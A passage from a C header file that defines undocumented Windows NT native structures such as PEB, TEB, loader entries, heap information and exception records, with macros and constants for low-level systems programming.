CheckSum;\r\n        };\r\n    };\r\n    union\r\n    {\r\n        ULONG TimeDateStamp;\r\n        PVOID LoadedImports;\r\n    };\r\n    PVOID EntryPointActivationContext;\r\n    PVOID PatchInformation;\r\n    LIST_ENTRY ForwarderLinks;\r\n    LIST_ENTRY ServiceTagLinks;\r\n    LIST_ENTRY StaticLinks;\r\n    PVOID ContextInformation;\r\n    ULONG_PTR OriginalBase;\r\n    LARGE_INTEGER LoadTime;\r\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\r\n\r\ntypedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY;\r\n\r\ntypedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE;\r\n\r\nstruct _FLS_CALLBACK_INFO;\r\n\r\ntypedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)(\r\n\tIN PVOID DllHandle,\r\n\tIN ULONG Reason,\r\n\t_In_opt_ PCONTEXT Context\r\n\t);\r\n\r\n#define DOS_MAX_COMPONENT_LENGTH 255\r\n#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5)\r\n\r\n#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002\r\n#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003\r\n\r\ntypedef struct _RTL_RELATIVE_NAME\r\n{\r\n\tSTRING RelativeName;\r\n\tHANDLE ContainingDirectory;\r\n} RTL_RELATIVE_NAME, *PRTL_RELATIVE_NAME;\r\n\r\ntypedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF;\r\n\r\ntypedef struct _RTL_RELATIVE_NAME_U\r\n{\r\n\tUNICODE_STRING RelativeName;\r\n\tHANDLE ContainingDirectory;\r\n\tPRTLP_CURDIR_REF CurDirRef;\r\n} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U;\r\n\r\ntypedef enum _RTL_PATH_TYPE\r\n{\r\n\tRtlPathTypeUnknown,\r\n\tRtlPathTypeUncAbsolute,\r\n\tRtlPathTypeDriveAbsolute,\r\n\tRtlPathTypeDriveRelative,\r\n\tRtlPathTypeRooted,\r\n\tRtlPathTypeRelative,\r\n\tRtlPathTypeLocalDevice,\r\n\tRtlPathTypeRootLocalDevice\r\n} RTL_PATH_TYPE, *PRTL_PATH_TYPE;\r\n\r\n#define RTL_MAX_DRIVE_LETTERS 32\r\n#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001\r\n\r\n// 18/04/2011 updated\r\ntypedef struct _PEB\r\n{\r\n    BOOLEAN InheritedAddressSpace;\r\n    BOOLEAN ReadImageFileExecOptions;\r\n    BOOLEAN BeingDebugged;\r\n    union\r\n    {\r\n        BOOLEAN BitField;\r\n        struct\r\n        {\r\n            BOOLEAN ImageUsesLargePages : 1;\r\n            BOOLEAN IsProtectedProcess : 1;\r\n            BOOLEAN IsLegacyProcess : 1;\r\n            BOOLEAN IsImageDynamicallyRelocated : 1;\r\n            BOOLEAN SkipPatchingUser32Forwarders : 1;\r\n            BOOLEAN SpareBits : 3;\r\n        };\r\n    };\r\n    HANDLE Mutant;\r\n\r\n    PVOID ImageBaseAddress;\r\n    PPEB_LDR_DATA Ldr;\r\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n    PVOID SubSystemData;\r\n    PVOID ProcessHeap;\r\n    PRTL_CRITICAL_SECTION FastPebLock;\r\n    PVOID AtlThunkSListPtr;\r\n    PVOID IFEOKey;\r\n    union\r\n    {\r\n        ULONG CrossProcessFlags;\r\n        struct\r\n        {\r\n            ULONG ProcessInJob : 1;\r\n            ULONG ProcessInitializing : 1;\r\n            ULONG ProcessUsingVEH : 1;\r\n            ULONG ProcessUsingVCH : 1;\r\n            ULONG ProcessUsingFTH : 1;\r\n            ULONG ReservedBits0 : 27;\r\n        };\r\n        ULONG EnvironmentUpdateCount;\r\n    };\r\n    union\r\n    {\r\n        PVOID KernelCallbackTable;\r\n        PVOID UserSharedInfoPtr;\r\n    };\r\n    ULONG SystemReserved[1];\r\n    ULONG AtlThunkSListPtr32;\r\n    PVOID ApiSetMap;\r\n    ULONG TlsExpansionCounter;\r\n    PVOID TlsBitmap;\r\n    ULONG TlsBitmapBits[2];\r\n    PVOID ReadOnlySharedMemoryBase;\r\n    PVOID HotpatchInformation;\r\n    PPVOID ReadOnlyStaticServerData;\r\n    PVOID AnsiCodePageData;\r\n    PVOID OemCodePageData;\r\n    PVOID UnicodeCaseTableData;\r\n\r\n    ULONG NumberOfProcessors;\r\n    ULONG NtGlobalFlag;\r\n\r\n    LARGE_INTEGER CriticalSectionTimeout;\r\n    SIZE_T HeapSegmentReserve;\r\n    SIZE_T HeapSegmentCommit;\r\n    SIZE_T HeapDeCommitTotalFreeThreshold;\r\n    SIZE_T HeapDeCommitFreeBlockThreshold;\r\n\r\n    ULONG NumberOfHeaps;\r\n    ULONG MaximumNumberOfHeaps;\r\n    PPVOID ProcessHeaps;\r\n\r\n    PVOID GdiSharedHandleTable;\r\n    PVOID ProcessStarterHelper;\r\n    ULONG GdiDCAttributeList;\r\n\r\n    PRTL_CRITICAL_SECTION LoaderLock;\r\n\r\n    ULONG OSMajorVersion;\r\n    ULONG OSMinorVersion;\r\n    USHORT OSBuildNumber;\r\n    USHORT OSCSDVersion;\r\n    ULONG OSPlatformId;\r\n    ULONG ImageSubsystem;\r\n    ULONG ImageSubsystemMajorVersion;\r\n    ULONG ImageSubsystemMinorVersion;\r\n    ULONG_PTR ImageProcessAffinityMask;\r\n    GDI_HANDLE_BUFFER GdiHandleBuffer;\r\n    PVOID PostProcessInitRoutine;\r\n\r\n    PVOID TlsExpansionBitmap;\r\n    ULONG TlsExpansionBitmapBits[32];\r\n\r\n    ULONG SessionId;\r\n\r\n    ULARGE_INTEGER AppCompatFlags;\r\n    ULARGE_INTEGER AppCompatFlagsUser;\r\n    PVOID pShimData;\r\n    PVOID AppCompatInfo;\r\n\r\n    UNICODE_STRING CSDVersion;\r\n\r\n    PVOID ActivationContextData;\r\n    PVOID ProcessAssemblyStorageMap;\r\n    PVOID SystemDefaultActivationContextData;\r\n    PVOID SystemAssemblyStorageMap;\r\n\r\n    SIZE_T MinimumStackCommit;\r\n\r\n    PPVOID FlsCallback;\r\n    LIST_ENTRY FlsListHead;\r\n    PVOID FlsBitmap;\r\n    ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];\r\n    ULONG FlsHighIndex;\r\n\r\n    PVOID WerRegistrationData;\r\n    PVOID WerShipAssertPtr;\r\n    PVOID pContextData;\r\n    PVOID pImageHeaderHash;\r\n    union\r\n    {\r\n        ULONG TracingFlags;\r\n        struct\r\n        {\r\n            ULONG HeapTracingEnabled : 1;\r\n            ULONG CritSecTracingEnabled : 1;\r\n            ULONG SpareTracingBits : 30;\r\n        };\r\n    };\r\n} PEB, *PPEB;\r\n\r\n//\r\n//  Fusion/sxs thread state information (aka, stuff noone cares about!)\r\n//\r\n\r\n#define ACTIVATION_CONTEXT_STACK_FLAG_QUERIES_DISABLED (0x00000001)\r\n\r\ntypedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME\r\n{\r\n\tstruct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;\r\n\tstruct _ACTIVATION_CONTEXT* ActivationContext;\r\n\tULONG Flags;\r\n} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME;\r\n\r\n\r\ntypedef struct _ACTIVATION_CONTEXT_STACK\r\n{\r\n\tstruct _RTL_ACTIVATION_CONTEXT_STACK_FRAME * ActiveFrame;\r\n\tstruct _LIST_ENTRY FrameListCache;\r\n\tULONG Flags;\r\n\tULONG NextCookieSequenceNumber;\r\n\tULONG StackId;\r\n} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;\r\n\r\ntypedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK;\r\n\r\n#define TEB_ACTIVE_FRAME_CONTEXT_FLAG_EXTENDED (0x00000001)\r\n\r\ntypedef struct _TEB_ACTIVE_FRAME_CONTEXT\r\n{\r\n\tULONG Flags;\r\n\tPSTR FrameName;\r\n} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;\r\n\r\ntypedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT;\r\n\r\ntypedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX\r\n{\r\n\tTEB_ACTIVE_FRAME_CONTEXT BasicContext;\r\n\tPCSTR SourceLocation; // e.g. \"c:\\windows\\system32\\ntdll.dll\"\r\n} TEB_ACTIVE_FRAME_CONTEXT_EX, *PTEB_ACTIVE_FRAME_CONTEXT_EX;\r\n\r\ntypedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX;\r\n\r\n#define TEB_ACTIVE_FRAME_FLAG_EXTENDED (0x00000001)\r\n\r\n// 17/3/2011 updated\r\ntypedef struct _TEB_ACTIVE_FRAME\r\n{\r\n\tULONG Flags;\r\n\tstruct _TEB_ACTIVE_FRAME *Previous;\r\n\tPTEB_ACTIVE_FRAME_CONTEXT Context;\r\n} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;\r\n\r\ntypedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME;\r\n\r\ntypedef struct _TEB_ACTIVE_FRAME_EX\r\n{\r\n\tTEB_ACTIVE_FRAME BasicFrame;\r\n\tPVOID ExtensionIdentifier; // use address of your DLL Main or something mapping in the address space\r\n} TEB_ACTIVE_FRAME_EX, *PTEB_ACTIVE_FRAME_EX;\r\n\r\ntypedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX;\r\n\r\n// 18/04/2011\r\ntypedef struct _TEB\r\n{\r\n    NT_TIB NtTib;\r\n\r\n    PVOID EnvironmentPointer;\r\n    CLIENT_ID ClientId;\r\n    PVOID ActiveRpcHandle;\r\n    PVOID ThreadLocalStoragePointer;\r\n    PPEB ProcessEnvironmentBlock;\r\n\r\n    ULONG LastErrorValue;\r\n    ULONG CountOfOwnedCriticalSections;\r\n    PVOID CsrClientThread;\r\n    PVOID Win32ThreadInfo;\r\n    ULONG User32Reserved[26];\r\n    ULONG UserReserved[5];\r\n    PVOID WOW32Reserved;\r\n    LCID CurrentLocale;\r\n    ULONG FpSoftwareStatusRegister;\r\n    PVOID SystemReserved1[54];\r\n    NTSTATUS ExceptionCode;\r\n    PVOID ActivationContextStackPointer;\r\n#if defined(_M_X64)\r\n    UCHAR SpareBytes[24];\r\n#else\r\n    UCHAR SpareBytes[36];\r\n#endif\r\n    ULONG TxFsContext;\r\n\r\n    GDI_TEB_BATCH GdiTebBatch;\r\n    CLIENT_ID RealClientId;\r\n    HANDLE GdiCachedProcessHandle;\r\n    ULONG GdiClientPID;\r\n    ULONG GdiClientTID;\r\n    PVOID GdiThreadLocalInfo;\r\n    ULONG_PTR Win32ClientInfo[62];\r\n    PVOID glDispatchTable[233];\r\n    ULONG_PTR glReserved1[29];\r\n    PVOID glReserved2;\r\n    PVOID glSectionInfo;\r\n    PVOID glSection;\r\n    PVOID glTable;\r\n    PVOID glCurrentRC;\r\n    PVOID glContext;\r\n\r\n    NTSTATUS LastStatusValue;\r\n    UNICODE_STRING StaticUnicodeString;\r\n    WCHAR StaticUnicodeBuffer[261];\r\n\r\n    PVOID DeallocationStack;\r\n    PVOID TlsSlots[64];\r\n    LIST_ENTRY TlsLinks;\r\n\r\n    PVOID Vdm;\r\n    PVOID ReservedForNtRpc;\r\n    PVOID DbgSsReserved[2];\r\n\r\n    ULONG HardErrorMode;\r\n#if defined(_M_X64)\r\n    PVOID Instrumentation[11];\r\n#else\r\n    PVOID Instrumentation[9];\r\n#endif\r\n    GUID ActivityId;\r\n\r\n    PVOID SubProcessTag;\r\n    PVOID EtwLocalData;\r\n    PVOID EtwTraceData;\r\n    PVOID WinSockData;\r\n    ULONG GdiBatchCount;\r\n\r\n    union\r\n    {\r\n        PROCESSOR_NUMBER CurrentIdealProcessor;\r\n        ULONG IdealProcessorValue;\r\n        struct\r\n        {\r\n            UCHAR ReservedPad0;\r\n            UCHAR ReservedPad1;\r\n            UCHAR ReservedPad2;\r\n            UCHAR IdealProcessor;\r\n        };\r\n    };\r\n\r\n    ULONG GuaranteedStackBytes;\r\n    PVOID ReservedForPerf;\r\n    PVOID ReservedForOle;\r\n    ULONG WaitingOnLoaderLock;\r\n    PVOID SavedPriorityState;\r\n    ULONG_PTR SoftPatchPtr1;\r\n    PVOID ThreadPoolData;\r\n    PPVOID TlsExpansionSlots;\r\n#if defined(_M_X64)\r\n    PVOID DeallocationBStore;\r\n    PVOID BStoreLimit;\r\n#endif\r\n    ULONG MuiGeneration;\r\n    ULONG IsImpersonating;\r\n    PVOID NlsCache;\r\n    PVOID pShimData;\r\n    ULONG HeapVirtualAffinity;\r\n    HANDLE CurrentTransactionHandle;\r\n    PTEB_ACTIVE_FRAME ActiveFrame;\r\n    PVOID FlsData;\r\n\r\n    PVOID PreferredLanguages;\r\n    PVOID UserPrefLanguages;\r\n    PVOID MergedPrefLanguages;\r\n    ULONG MuiImpersonation;\r\n\r\n    union\r\n    {\r\n        USHORT CrossTebFlags;\r\n        USHORT SpareCrossTebBits : 16;\r\n    };\r\n    union\r\n    {\r\n        USHORT SameTebFlags;\r\n        struct\r\n        {\r\n            USHORT SafeThunkCall : 1;\r\n            USHORT InDebugPrint : 1;\r\n            USHORT HasFiberData : 1;\r\n            USHORT SkipThreadAttach : 1;\r\n            USHORT WerInShipAssertCode : 1;\r\n            USHORT RanProcessInit : 1;\r\n            USHORT ClonedThread : 1;\r\n            USHORT SuppressDebugMsg : 1;\r\n            USHORT DisableUserStackWalk : 1;\r\n            USHORT RtlExceptionAttached : 1;\r\n            USHORT InitialThread : 1;\r\n            USHORT SpareSameTebBits : 1;\r\n        };\r\n    };\r\n\r\n    PVOID TxnScopeEnterCallback;\r\n    PVOID TxnScopeExitCallback;\r\n    PVOID TxnScopeContext;\r\n    ULONG LockCount;\r\n    ULONG SpareUlong0;\r\n    PVOID ResourceRetValue;\r\n} TEB, *PTEB;\r\n\r\n#define PcTeb 0x18\r\n\r\n#define RtlGetCurrentProcessId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess))\r\n#define RtlGetCurrentThreadId()  (HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread))\r\n\r\n#define ZwCurrentProcess() NtCurrentProcess()\r\n\r\n// 17/3/2011 added\r\n__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }\r\n#define WOWAddress() ( NtCurrentTeb()->WOW32Reserved )\r\n#define RtlProcessHeap() ( NtCurrentPeb()->ProcessHeap )\r\n\r\n// 28/3/2011 added\r\n#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L))\r\n\r\n// added 18.04.2011\r\ntypedef struct _THREAD_BASIC_INFORMATION\r\n{\r\n\tNTSTATUS ExitStatus;\r\n\tPTEB TebBaseAddress;\r\n\tCLIENT_ID ClientId;\r\n\tKAFFINITY AffinityMask;\r\n\tKPRIORITY Priority;\r\n\tKPRIORITY BasePriority;\r\n} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;\r\n\r\n// added 20.12.11\r\n// Process Device Map information\r\n//  NtQueryInformationProcess using ProcessDeviceMap\r\n//  NtSetInformationProcess using ProcessDeviceMap\r\n//\r\n//#pragma pack (push, 1)\r\ntypedef struct _PROCESS_DEVICEMAP_INFORMATION {\r\n    union {\r\n        struct {\r\n            HANDLE DirectoryHandle;\r\n        } Set;\r\n        struct {\r\n            ULONG DriveMap;\r\n            UCHAR DriveType[ 32 ];\r\n        } Query;\r\n    };\r\n} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION;\r\n\r\ntypedef struct _PROCESS_DEVICEMAP_INFORMATION_EX {\r\n    union {\r\n        struct {\r\n            HANDLE DirectoryHandle;\r\n        } Set;\r\n        struct {\r\n            ULONG DriveMap;\r\n            UCHAR DriveType[ 32 ];\r\n        } Query;\r\n    };\r\n    ULONG Flags;    // specifies that the query type\r\n} PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX;\r\n//#pragma pack(pop)\r\n\r\ntypedef struct _PROCESS_BASIC_INFORMATION\r\n{\r\n\tNTSTATUS ExitStatus;\r\n\tPPEB PebBaseAddress;\r\n\tULONG_PTR AffinityMask;\r\n\tKPRIORITY BasePriority;\r\n\tULONG_PTR UniqueProcessId;\r\n\tULONG_PTR InheritedFromUniqueProcessId;\r\n} PROCESS_BASIC_INFORMATION;\r\ntypedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;\r\n\r\ntypedef struct _PROCESS_EXTENDED_BASIC_INFORMATION\r\n{\r\n\tSIZE_T Size;    // Must be set to structure size on input\r\n\tPROCESS_BASIC_INFORMATION BasicInfo;\r\n\tunion\r\n\t{\r\n\t\tULONG Flags;\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tULONG IsProtectedProcess : 1;\r\n\t\t\tULONG IsWow64Process : 1;\r\n\t\t\tULONG IsProcessDeleting : 1;\r\n\t\t\tULONG IsCrossSessionCreate : 1;\r\n\t\t\tULONG SpareBits : 28;\r\n\t\t} DUMMYSTRUCTNAME;\r\n\t} DUMMYUNIONNAME;\r\n} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION;\r\n\r\ntypedef struct _RTL_HEAP_ENTRY\r\n{\r\n\tSIZE_T Size;\r\n\tUSHORT Flags;\r\n\tUSHORT AllocatorBackTraceIndex;\r\n\tunion\r\n\t{\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tSIZE_T Settable;\r\n\t\t\tULONG Tag;\r\n\t\t} s1;   // All other heap entries\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tSIZE_T CommittedSize;\r\n\t\t\tPVOID FirstBlock;\r\n\t\t} s2;   // RTL_SEGMENT\r\n\t} u;\r\n} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY;\r\n\r\n#define RTL_HEAP_BUSY               (USHORT)0x0001\r\n#define RTL_HEAP_SEGMENT            (USHORT)0x0002\r\n#define RTL_HEAP_SETTABLE_VALUE     (USHORT)0x0010\r\n#define RTL_HEAP_SETTABLE_FLAG1     (USHORT)0x0020\r\n#define RTL_HEAP_SETTABLE_FLAG2     (USHORT)0x0040\r\n#define RTL_HEAP_SETTABLE_FLAG3     (USHORT)0x0080\r\n#define RTL_HEAP_SETTABLE_FLAGS     (USHORT)0x00E0\r\n#define RTL_HEAP_UNCOMMITTED_RANGE  (USHORT)0x0100\r\n#define RTL_HEAP_PROTECTED_ENTRY    (USHORT)0x0200\r\n\r\ntypedef struct _RTL_HEAP_TAG\r\n{\r\n\tULONG NumberOfAllocations;\r\n\tULONG NumberOfFrees;\r\n\tSIZE_T BytesAllocated;\r\n\tUSHORT TagIndex;\r\n\tUSHORT CreatorBackTraceIndex;\r\n\tWCHAR TagName[ 24 ];\r\n} RTL_HEAP_TAG, *PRTL_HEAP_TAG;\r\n\r\ntypedef struct _RTL_HEAP_INFORMATION\r\n{\r\n\tPVOID BaseAddress;\r\n\tULONG Flags;\r\n\tUSHORT EntryOverhead;\r\n\tUSHORT CreatorBackTraceIndex;\r\n\tSIZE_T BytesAllocated;\r\n\tSIZE_T BytesCommitted;\r\n\tULONG NumberOfTags;\r\n\tULONG NumberOfEntries;\r\n\tULONG NumberOfPseudoTags;\r\n\tULONG PseudoTagGranularity;\r\n\tULONG Reserved[ 5 ];\r\n\tPRTL_HEAP_TAG Tags;\r\n\tPRTL_HEAP_ENTRY Entries;\r\n} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION;\r\n\r\ntypedef struct _RTL_PROCESS_HEAPS\r\n{\r\n\tULONG NumberOfHeaps;\r\n\tRTL_HEAP_INFORMATION Heaps[ 1 ];\r\n} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS;\r\n\r\ntypedef struct _RTL_PROCESS_LOCK_INFORMATION\r\n{\r\n\tPVOID Address;\r\n\tUSHORT Type;\r\n\tUSHORT CreatorBackTraceIndex;\r\n\r\n\tHANDLE OwningThread;        // from the thread's ClientId->UniqueThread\r\n\tLONG LockCount;\r\n\tULONG ContentionCount;\r\n\tULONG EntryCount;\r\n\r\n\t//\r\n\t// The following fields are only valid for Type == RTL_CRITSECT_TYPE\r\n\t//\r\n\r\n\tLONG RecursionCount;\r\n\r\n\t//\r\n\t// The following fields are only valid for Type == RTL_RESOURCE_TYPE\r\n\t//\r\n\r\n\tULONG NumberOfWaitingShared;\r\n\tULONG NumberOfWaitingExclusive;\r\n} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION;\r\n\r\n// do not name SHA_CTX, if using OpenSSL or such... produces errors.\r\ntypedef struct {\r\n\tULONG Unknown[6];\r\n\tULONG State[5];\r\n\tULONG Count[2];\r\n\tUCHAR Buffer[64];\r\n} ASHA_CTX, *PSHA_CTX;\r\n\r\nstruct _CONTEXT;\r\nstruct _EXCEPTION_RECORD;\r\n\r\n// note, winnt.h ... such the pain-in-ass with this structure.\r\n#if !defined(_WINNT_)\r\ntypedef\r\nEXCEPTION_DISPOSITION\r\n(*PEXCEPTION_ROUTINE) (\r\n    IN struct _EXCEPTION_RECORD *ExceptionRecord,\r\n    IN PVOID EstablisherFrame,\r\n    _Inout_ struct _CONTEXT *ContextRecord,\r\n    _Inout_ PVOID DispatcherContext\r\n    );\r\n\r\ntypedef struct _EXCEPTION_REGISTRATION_RECORD {\r\n    struct _EXCEPTION_REGISTRATION_RECORD *Next;\r\n    PEXCEPTION_ROUTINE Handler;\r\n} EXCEPTION_REGISTRATION_RECORD;\r\n\r\ntypedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD;\r\n#endif\r\n\r\n#if !defined(POINTER_64)\r\n#define POINTER_64 __ptr64\r\ntypedef unsigned __int64 POINTER_64_INT;\r\n#if defined(_M_X64)\r\n#define POINTER_32 __ptr32\r\n#else\r\n#define POINTER_32\r\n#endif\r\n#endif\r\n\r\ntypedef enum _NT_PRODUCT_TYPE\r\n{\r\n\tNtProductWinNt = 1,\r\n\tNtProductLanManNt,\r\n\tNtProductServer\r\n} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE;\r\n\r\n\r\ntypedef enum _SUITE_TYPE\r\n{\r\n\tSmallBusiness,\r\n\tEnterprise,\r\n\tBackOffice,\r\n\tCommunicationServer,\r\n\tTerminalServer,\r\n\tSmallBusinessRestricted,\r\n\tEmbeddedNT,\r\n\tDataCenter,\r\n\tSingleUserTS,\r\n\tPersonal,\r\n\tBlade,\r\n\tEmbeddedRestricted,\r\n\tSecurityAppliance,\r\n\tStorageServer,\r\n\tComputeServer,\r\n\tMaxSuiteType\r\n} SUITE_TYPE;\r\n\r\n#define VER_SERVER_NT                       0x80000000\r\n#define VER_WORKSTATION_NT                  0x40000000\r\n#define VER_SUITE_SMALLBUSINESS             0x00000001\r\n#define VER_SUITE_ENTERPRISE                0x00000002\r\n#define VER_SUITE_BACKOFFICE                0x00000004\r\n#define VER_SUITE_COMMUNICATIONS            0x00000008\r\n#define VER_SUITE_TERMINAL                  0x00000010\r\n#define VER_SUITE_SMALLBUSINESS_RESTRICTED  0x00000020\r\n#define VER_SUITE_EMBEDDEDNT                0x00000040\r\n#define VER_SUITE_DATACENTER                0x00000080\r\n#define VER_SUITE_SINGLEUSERTS              0x00000100\r\n#define VER_SUITE_PERSONAL                  0x00000200\r\n#define VER_SUITE_BLADE                     0x00000400\r\n#define VER_SUITE_EMBEDDED_RESTRICTED       0x00000800\r\n#define VER_SUITE_SECURITY_APPLIANCE        0x00001000\r\n#define VER_SUITE_STORAGE_SERVER            0x00002000\r\n#define VER_SUITE_COMPUTE_SERVER            0x00004000\r\n\r\n//\r\n// exception structures\r\n//\r\n\r\n#ifndef _WINNT_\t\t// take presidence over winnt.h\r\n\r\ntypedef struct _CONTEXT\r\n{\r\n\r\n\t//\r\n\t// The flags values within this flag control the contents of\r\n\t// a CONTEXT record.\r\n\t//\r\n\t// If the context record is used as an input parameter, then\r\n\t// for each portion of the context record controlled by a flag\r\n\t// whose value is set, it is assumed that that portion of the\r\n\t// context record contains valid context. If the context record\r\n\t// is being used to modify a threads context, then only that\r\n\t// portion of the threads context will be modified.\r\n\t//\r\n\t// If the context record is used as an _Inout_ parameter to capture\r\n\t// the context of a thread, then only those portions of the thread's\r\n\t// context corresponding to set flags will be returned.\r\n\t//\r\n\t// The context record is never used as an OUT only parameter.\r\n\t//\r\n\r\n\tDWORD ContextFlags;\r\n\r\n\t//\r\n\t// This section is specified/returned if CONTEXT_DEBUG_REGISTERS is\r\n\t// set in ContextFlags.  Note that CONTEXT_DEBUG_REGISTERS is NOT\r\n\t// included in CONTEXT_FULL.\r\n\t//\r\n\r\n\tDWORD   Dr0;\r\n\tDWORD   Dr1;\r\n\tDWORD   Dr2;\r\n\tDWORD   Dr3;\r\n\tDWORD   Dr6;\r\n\tDWORD   Dr7;\r\n\r\n\t//\r\n\t// This section is specified/returned if the\r\n\t// ContextFlags word contains the flag CONTEXT_FLOATING_POINT.\r\n\t//\r\n\r\n\tFLOATING_SAVE_AREA FloatSave;\r\n\r\n\t//\r\n\t// This section is specified/returned if the\r\n\t// ContextFlags word contains the flag CONTEXT_SEGMENTS.\r\n\t//\r\n\r\n\tDWORD   SegGs;\r\n\tDWORD   SegFs;\r\n\tDWORD   SegEs;\r\n\tDWORD   SegDs;\r\n\r\n\t//\r\n\t// This section is specified/returned if the\r\n\t// ContextFlags word contains the flag CONTEXT_INTEGER.\r\n\t//\r\n\r\n\tDWORD   Edi;\r\n\tDWORD   Esi;\r\n\tDWORD   Ebx;\r\n\tDWORD   Edx;\r\n\tDWORD   Ecx;\r\n\tDWORD   Eax;\r\n\r\n\t//\r\n\t// This section is specified/returned if the\r\n\t// ContextFlags word contains the flag CONTEXT_CONTROL.\r\n\t//\r\n\r\n\tDWORD   Ebp;\r\n\tDWORD   Eip;\r\n\tDWORD   SegCs;              // MUST BE SANITIZED\r\n\tDWORD   EFlags;             // MUST BE SANITIZED\r\n\tDWORD   Esp;\r\n\tDWORD   SegSs;\r\n\r\n\t//\r\n\t// This section is specified/returned if the ContextFlags word\r\n\t// contains the flag CONTEXT_EXTENDED_REGISTERS.\r\n\t// The format and contexts are processor specific\r\n\t//\r\n\r\n\tBYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];\r\n\r\n} CONTEXT, *PCONTEXT;\r\n\r\ntypedef struct _EXCEPTION_RECORD\r\n{\r\n\tDWORD  ExceptionCode;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// NTSTATUS code of the exception.\r\n\tDWORD ExceptionFlags;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// need more information\r\n\tstruct _EXCEPTION_RECORD *ExceptionRecord;\t\t\t\t\t\t\t\t\t\t\t// pointer to an extra record\r\n\tPVOID ExceptionAddress;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// address of the exception happen\r\n\tDWORD NumberParameters;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// more information needed ...\r\n\tULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];\r\n} EXCEPTION_RECORD, *PEXCEPTION_RECORD;\r\n\r\n//\r\n//  Values put in ExceptionRecord.ExceptionInformation[0]\r\n//  First parameter is always in ExceptionInformation[1],\r\n//  Second parameter is always in ExceptionInformation[2]\r\n//\r\n\r\ntypedef struct _EXCEPTION_RECORD32 {\r\n\tDWORD ExceptionCode;\r\n\tDWORD ExceptionFlags;\r\n\tDWORD ExceptionRecord;\r\n\tDWORD ExceptionAddress;\r\n\tDWORD NumberParameters;\r\n\tDWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];\r\n} EXCEPTION_RECORD32, *PEXCEPTION_RECORD32;\r\n\r\ntypedef struct _EXCEPTION_RECORD64 {\r\n\tDWORD    ExceptionCode;\r\n\tDWORD ExceptionFlags;\r\n\tDWORD64 ExceptionRecord;\r\n\tDWORD64 ExceptionAddress;\r\n\tDWORD NumberParameters;\r\n\tDWORD __unusedAlignment;\r\n\tDWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];\r\n} EXCEPTION_RECORD64, *PEXCEPTION_RECORD64;\r\n\r\n//\r\n// Typedef for pointer returned by exception_info()\r\n//\r\n\r\ntypedef struct _EXCEPTION_POINTERS\r\n{\r\n\tPEXCEPTION_RECORD ExceptionRecord;\r\n\tPCONTEXT ContextRecord;\r\n} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;\r\n\r\n#endif\r\n\r\ntypedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)(\r\n\tIN PWSTR ValueName,\r\n\tIN ULONG ValueType,\r\n\tIN PVOID ValueData,\r\n\tIN ULONG ValueLength,\r\n\tIN PVOID Context,\r\n\tIN PVOID EntryContext\r\n\t);\r\n\r\ntypedef struct _RTL_QUERY_REGISTRY_TABLE {\r\n\tPRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;\r\n\tULONG Flags;\r\n\tPWSTR Name;\r\n\tPVOID EntryContext;\r\n\tULONG 